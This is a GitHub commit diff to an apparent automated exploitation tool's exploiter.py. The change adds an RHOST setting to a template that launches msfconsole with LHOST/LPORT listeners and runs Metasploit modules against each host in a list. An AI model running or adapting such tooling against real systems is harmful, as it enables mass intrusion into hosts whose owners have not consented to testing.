Skip to content

Commit fc5f6ae

Browse files
author
ekultek
committed
implement issue #99
1 parent 9ca2fd0 commit fc5f6ae

1 file changed

Lines changed: 2 additions & 2 deletions

File tree

lib/exploitation/exploiter.py

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -42,7 +42,7 @@ def start_exploit(self):
4242
template = (
4343
"sudo {} {} -x 'workspace -a {}; "
4444
"setg LHOST {}; setg LPORT {}; setg VERBOSE "
45-
"true; setg THREADS 100; set RHOSTS {}; use {} -j;'"
45+
"true; setg THREADS 100; set RHOST {}; set RHOSTS {}; use {} -j;'"
4646
)
4747
for host in self.hosts:
4848
for mod in self.mods:
@@ -55,6 +55,6 @@ def start_exploit(self):
5555
"ruby" if self.ruby_exec else "",
5656
self.msf_path if self.msf_path is not None else "msfconsole",
5757
self.configuration[0], self.configuration[1], self.configuration[2],
58-
host.strip(), mod.strip()
58+
host.strip(), host.strip(), mod.strip()
5959
)
6060
lib.settings.cmdline(template)

0 commit comments

Comments
 (0)